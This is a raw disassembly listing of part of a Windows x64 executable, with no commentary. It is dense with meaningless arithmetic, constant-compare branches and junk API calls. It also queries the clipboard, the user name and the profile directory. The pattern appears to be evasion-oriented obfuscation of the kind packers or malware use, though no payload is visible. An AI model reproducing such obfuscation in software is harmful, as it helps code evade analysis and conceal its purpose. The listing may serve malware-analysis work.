mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movabs rax, 0x216f616e2f06d2d1
mov rcx, qword [rsp + 0x3288]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x32f8], rax
movzx eax, word [rsp + 0x734]
movzx ecx, word [rsp + 0x738]
sub eax, ecx
mov word [0x1400dd004], ax
movzx eax, word [rsp + 0x738]
movzx ecx, word [0x1400dd004]
add eax, ecx
mov word [rsp + 0x734], ax
movzx eax, word [rsp + 0x738]
movzx ecx, word [0x1400dd004]
sub eax, ecx
mov word [rsp + 0x734], ax
movsx eax, byte [rsp + 0xc6]
movsx ecx, byte [section..data]
sub eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc5], al
mov eax, dword [rsp + 0x1ab8]
sub eax, 0xab
mov dword [rsp + 0x1ab8], eax
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rsp + 0x1a48]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1a40], eax
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
mov dword [rsp + 0x1aa8], eax
movsx eax, word [rsp + 0x730]
movsx ecx, word [rsp + 0x73c]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rsp + 0x1a70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
nop
cmp dword [rsp + 0x1ab8], 0x53b7
ja 0x140003cf0
mov rax, qword [0x1400dd008]
sar rax, 2
mov qword [0x1400dd008], rax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
xor eax, ecx
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0x32d0]
movzx eax, word [rax]
mov word [rsp + 0x740], ax
mov eax, dword [rsp + 0x1aa8]
mov dword [rsp + 0x1ac4], eax
cmp dword [rsp + 0x1ac4], 0xa6e5c7a
je 0x140003f2d
cmp dword [rsp + 0x1ac4], 0x2c1d3b02
je 0x140004069
jmp 0x1400041b3
movzx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xc7], al
movzx eax, byte [rsp + 0xc5]
movzx ecx, byte [rsp + 0xc7]
and eax, ecx
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x3280]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
je 0x14000402d
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
mov dword [rsp + 0x1ac8], eax
cmp dword [rsp + 0x1ac8], 0x3d870337
je 0x140003fba
jmp 0x140003ff6
movzx eax, byte [rsp + 0xc6]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x32c0]
mov r9d, dword [rax]
movzx r8d, word [rsp + 0x734]
mov rax, qword [rsp + 0x32c0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rax]
call fcn.1400bcc50
nop
jmp 0x14000402b
mov qword [rsp + 0x20], 0x8a
mov r9, qword [rsp + 0x3328]
mov r8, qword [rsp + 0x3290]
lea rdx, str.appreciation_subject
mov rcx, qword [rsp + 0x3330]
call qword [sym.imp.USER32.dll_DialogBoxParamA]
mov dword [rsp + 0x1acc], eax
jmp 0x140004064
movzx eax, word [rsp + 0x738]
movzx ecx, word [rsp + 0x734]
add eax, ecx
movzx ecx, word [0x1400dd004]
cmp eax, ecx
jle 0x140004064
movsx eax, word [rsp + 0x73c]
movsx ecx, word [rsp + 0x730]
sub eax, ecx
mov word [rsp + 0x740], ax
jmp 0x1400041b3
mov eax, dword [rsp + 0x1938]
mov ecx, dword [rsp + 0x1acc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [section..data]
sub eax, ecx
movsx ecx, byte [rsp + 0x8d]
movsx edx, byte [rsp + 0xc6]
sub ecx, edx
cmp eax, ecx
jne 0x1400041b3
mov eax, dword [rsp + 0x1acc]
mov dword [rsp + 0x1ad0], eax
cmp dword [rsp + 0x1ad0], 0x6567316
je 0x1400040d3
jmp 0x140004197
movzx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc5], al
lea rdx, [rsp + 0xe270]
lea rcx, str.Gangsterism_Plotters_dysfunction_Unowned_Arresting
call qword [sym.imp.USER32.dll_CharToOemA]
mov dword [rsp + 0x1a4c], eax
movabs rax, 0x2d95059dd5328d69
mov rcx, qword [rsp + 0x32f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3288], rax
lea rax, [rsp + 0x3288]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xa6
lea r9, [rsp + 0x3328]
mov r8d, 0x14
lea rdx, str.walnut_Pantomimes_inactivated_Crashlanded_sinkers
mov rcx, qword [rsp + 0x3338]
call qword [sym.imp.USER32.dll_DrawTextExA]
mov dword [rsp + 0x1ad4], eax
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rsp + 0x1a3c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x3288]
call fcn.1400bbe90
nop
jmp 0x1400041b3
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
shl eax, cl
mov byte [rsp + 0x8d], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
nop
movzx eax, word [rsp + 0x738]
mov dword [rsp + 0x1ad8], eax
cmp dword [rsp + 0x1ad8], 0xa3c
je 0x1400042bd
cmp dword [rsp + 0x1ad8], 0x1587
je 0x1400041f6
jmp 0x1400042f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov dword [rsp + 0x1adc], 0x981d
mov eax, dword [rsp + 0x1938]
mov rcx, qword [rsp + 0x32c0]
mov qword [rsp + 0x3340], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3340]
mov eax, dword [rax]
sar eax, cl
mov ecx, dword [rsp + 0x1acc]
mov edx, dword [rsp + 0x1ad4]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x1400042bb
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0xc8], al
movsx eax, word [rsp + 0x740]
movsx ecx, word [rsp + 0x73c]
add eax, ecx
mov word [rsp + 0x730], ax
mov dword [rsp + 0x1ae0], 0xabff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movzx eax, word [rsp + 0x734]
mov word [rsp + 0x744], ax
mov dword [rsp + 0x1ae4], 0xfb8
mov rax, qword [rsp + 0x3320]
movzx eax, byte [rax]
mov byte [rsp + 0xc9], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
nop
jmp 0x1400042f4
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov byte [rcx], al
lea rcx, [rsp + 0xdc70]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x1ae8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movabs rax, 0x75684cc5f68ba18
mov rcx, qword [rsp + 0x3288]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x32f8], rax
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rsp + 0x1a40]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov eax, dword [rsp + 0x1938]
mov ecx, dword [rsp + 0x1aa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
sub eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x73c]
sub eax, ecx
mov word [rsp + 0x740], ax
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x740], ax
movzx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x3280]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rsp + 0x1a40]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xc8], al
mov eax, dword [rsp + 0x1a48]
movzx ecx, al
mov eax, dword [rsp + 0x1a70]
shr eax, cl
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1acc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1acc]
mov ecx, dword [rsp + 0x1938]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x730]
mov rcx, qword [rsp + 0x32d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x738]
movzx ecx, word [rsp + 0x744]
and eax, ecx
mov word [rsp + 0x734], ax
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
add eax, ecx
mov byte [rsp + 0xc8], al
movsx eax, byte [rsp + 0xc6]
movsx ecx, byte [section..data]
add eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movabs rax, 0x5a47d21d6e68d17f
mov rcx, qword [rsp + 0x3288]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x32f8], rax
mov eax, dword [rsp + 0x1acc]
mov ecx, dword [rsp + 0x1ad4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov eax, dword [rsp + 0x1a98]
add eax, 0x54
mov dword [rsp + 0x1a98], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [rsp + 0x1a3c]
mov ecx, dword [rsp + 0x1a40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3280]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32c8]
mov byte [rcx], al
movabs rax, 0x29f0b3005e064be2
mov rcx, qword [0x1400dd008]
sub rcx, rax
mov rax, rcx
mov qword [0x1400dd008], rax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc9]
add eax, ecx
mov byte [rsp + 0xc6], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
nop
cmp dword [rsp + 0x1a98], 0xbfa1
jne 0x1400042f4
movzx eax, byte [rsp + 0x8d]
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
mov dword [rsp + 0x1aec], eax
cmp dword [rsp + 0x1aec], 0x34e6
je 0x140004698
cmp dword [rsp + 0x1aec], 0x3cef
je 0x1400046da
jmp 0x140004759
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
or eax, ecx
mov word [rsp + 0x73c], ax
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
jmp 0x140004759
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
mov byte [rsp + 0x1af0], al
cmp byte [rsp + 0x1af0], 0x99
je 0x1400046f8
jmp 0x140004748
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
xor eax, ecx
mov byte [rsp + 0xc5], al
lea rcx, [rsp + 0xdb70]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x1a4c], eax
mov eax, dword [rsp + 0x1acc]
movzx ecx, al
mov eax, dword [rsp + 0x1aa8]
sar eax, cl
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
jmp 0x140004759
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
mov dword [rsp + 0x1ad4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a70], eax
movzx eax, word [rsp + 0x734]
mov dword [rsp + 0x1af4], eax
cmp dword [rsp + 0x1af4], 0x737
je 0x1400047a0
jmp 0x1400048d4
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3280]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0xc8]
sub ecx, edx
cmp eax, ecx
jne 0x1400047ee
lea rdx, [rsp + 0xc6]
mov rcx, qword [rsp + 0x32b8]
call qword [sym.imp.USER32.dll_ValidateRect]
mov dword [rsp + 0x1a4c], eax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1acc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
movsx eax, byte [section..data]
movsx ecx, byte [rsp + 0x8d]
sub eax, ecx
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0xca]
sub ecx, edx
cmp eax, ecx
jg 0x1400048cf
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x32d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x730], ax
mov eax, dword [rsp + 0x1aa8]
mov dword [rsp + 0x1af8], eax
cmp dword [rsp + 0x1af8], 0x647f47be
je 0x140004876
jmp 0x1400048b2
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x32c8]
movzx r9d, byte [rax]
mov r8, qword [0x1400dd008]
mov rax, qword [rsp + 0x32e0]
movzx edx, byte [rax]
mov rcx, qword [0x1400dd008]
call fcn.1400bb700
nop
jmp 0x1400048cf
lea rdx, [rsp + 0x1a40]
mov rcx, qword [rsp + 0x3270]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [rsp + 0x1a38], eax
jmp 0x14000499b
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
nop
mov eax, dword [rsp + 0x1a70]
mov ecx, dword [rsp + 0x1a3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov edx, dword [rsp + 0x1a48]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jbe 0x14000499b
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov dword [rsp + 0x1afc], eax
cmp dword [rsp + 0x1afc], 0x8bb0291c
je 0x14000492c
jmp 0x14000496b
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
or eax, ecx
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0x32e0]
movzx r8d, byte [rax]
movzx edx, word [rsp + 0x730]
mov ecx, dword [rsp + 0x1a70]
call fcn.1400bc550
nop
jmp 0x14000499b
mov eax, dword [rsp + 0x1a40]
mov rcx, qword [rsp + 0x32f0]
mov qword [rsp + 0x3348], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3348]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
nop
movsx eax, word [rsp + 0x730]
movsx ecx, word [rsp + 0x740]
xor eax, ecx
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
shl eax, cl
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1938]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x8d]
movsx ecx, byte [rsp + 0xc9]
add eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rsp + 0x1a40]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1a70], eax
movzx eax, word [rsp + 0x734]
movzx ecx, word [rsp + 0x738]
add eax, ecx
mov word [0x1400dd004], ax
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov byte [rsp + 0xc7], al
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x73c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov eax, dword [rsp + 0x1a3c]
mov ecx, dword [rsp + 0x1a48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xca]
movsx ecx, byte [rsp + 0xc9]
sub eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
movzx eax, word [rsp + 0x734]
movzx ecx, word [0x1400dd004]
sub eax, ecx
mov word [rsp + 0x744], ax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1938]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32f8]
shl rax, 0x2f
mov qword [rsp + 0x3288], rax
mov eax, dword [rsp + 0x1a74]
sub eax, 0x6c
mov dword [rsp + 0x1a74], eax
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rsp + 0x1a70]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [0x1400dd008]
sar rax, 0x10
mov qword [0x1400dd008], rax
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xc7]
xor eax, ecx
mov byte [rsp + 0xc5], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [rsp + 0xca]
and eax, ecx
mov byte [rsp + 0x8d], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
movsx ecx, word [0x1400dded0]
sub eax, ecx
mov word [rsp + 0x740], ax
movzx eax, word [rsp + 0x734]
movzx ecx, word [rsp + 0x744]
add eax, ecx
mov word [rsp + 0x738], ax
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
sub eax, ecx
mov byte [rsp + 0xc7], al
movabs rax, 0x4c43d7b73e199101
mov rcx, qword [rsp + 0x32f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3288], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1acc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1aa8], eax
movabs rax, 0x93a5884e61a6e919
mov rcx, qword [rsp + 0x3288]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x32f8], rax
cmp dword [rsp + 0x1a74], 0x6188
ja 0x1400049a6
movzx eax, word [0x1400dd004]
movzx ecx, word [rsp + 0x744]
add eax, ecx
movzx ecx, word [rsp + 0x738]
movzx edx, word [rsp + 0x734]
sub ecx, edx
cmp eax, ecx
je 0x140004edc
movzx eax, word [rsp + 0x738]
movzx ecx, word [0x1400dd004]
sub eax, ecx
mov dword [rsp + 0x1b00], eax
movzx ecx, word [rsp + 0x734]
movzx edx, word [rsp + 0x744]
mov dword [rsp + 0x1b04], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x1b04]
idiv ecx
mov ecx, dword [rsp + 0x1b00]
cmp ecx, eax
jne 0x140004e37
mov rax, qword [rsp + 0x3320]
movzx eax, byte [rax]
mov byte [rsp + 0x1b08], al
cmp byte [rsp + 0x1b08], 0x5c
je 0x140004db3
cmp byte [rsp + 0x1b08], 0x62
je 0x140004d7c
jmp 0x140004e32
movsx eax, byte [rsp + 0xca]
movsx ecx, byte [rsp + 0x8d]
or eax, ecx
mov byte [section..data], al
mov rdx, qword [rsp + 0x3350]
mov rcx, qword [rsp + 0x3290]
call qword [sym.imp.USER32.dll_ValidateRgn]
mov dword [rsp + 0x1a4c], eax
jmp 0x140004e32
movzx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x3280]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xc8], al
call qword [sym.imp.USER32.dll_AnyPopup]
mov dword [rsp + 0x1ae8], eax
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x32c8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc6]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x1938]
movzx r8d, word [rsp + 0x744]
mov edx, dword [rsp + 0x1938]
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rax]
call fcn.1400bcc50
nop
jmp 0x140004edc
movabs rax, 0x13146b19aed4495e
cmp qword [0x1400dd008], rax
jg 0x140004edc
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
xor eax, ecx
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x740]
and ecx, edx
cmp eax, ecx
jg 0x140004ec0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movzx eax, word [rsp + 0x740]
mov word [rsp + 0x748], ax
lea rax, section..data
mov qword [rsp + 0x3358], rax
mov dword [rsp + 0x1b0c], 0xe102
movzx eax, byte [rsp + 0xc5]
movzx ecx, byte [rsp + 0xc7]
sub eax, ecx
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
mov dword [rsp + 0x1b10], 0xa455
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov eax, dword [rsp + 0x1938]
mov dword [rsp + 0x1b14], eax
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rsp + 0x1a70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1a40], eax
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x748]
sub eax, ecx
movsx ecx, word [rsp + 0x730]
mov rdx, qword [rsp + 0x3278]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x140005098
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
nop
movzx eax, word [0x1400dd004]
mov dword [rsp + 0x1b18], eax
cmp dword [rsp + 0x1b18], 0x384
je 0x140004f74
jmp 0x14000506d
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400dded0], ax
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
mov dword [rsp + 0x1b1c], eax
cmp dword [rsp + 0x1b1c], 0xccec30b
je 0x140004fc7
cmp dword [rsp + 0x1b1c], 0x7114e3a0
je 0x14000504e
jmp 0x14000506b
movsx eax, byte [section..data]
movsx ecx, byte [rsp + 0x8d]
add eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov ecx, 0xe
call qword [sym.imp.USER32.dll_GetClipboardData]
mov qword [rsp + 0x3360], rax
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
movsx ecx, word [0x1400dded0]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
movsx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x3358]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xca], al
jmp 0x14000506b
lea rdx, [rsp + 0x3298]
mov rcx, qword [rsp + 0x3290]
call qword [sym.imp.USER32.dll_KillTimer]
mov dword [rsp + 0x1b20], eax
jmp 0x140005098
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
xor eax, ecx
mov byte [rsp + 0xc5], al
mov rax, qword [0x1400dd008]
mov qword [rsp + 0x3368], rax
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
mov dword [rsp + 0x1b24], eax
cmp dword [rsp + 0x1b24], 0x7236ebbb
je 0x1400050bb
jmp 0x140005181
movabs rax, 0xe68990215955ad28
mov rcx, qword [rsp + 0x3288]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x32f8]
ja 0x140005104
lea r8, [rsp + 0xc9]
mov rdx, qword [rsp + 0x3298]
mov rcx, qword [rsp + 0x3370]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
mov dword [rsp + 0x1b28], eax
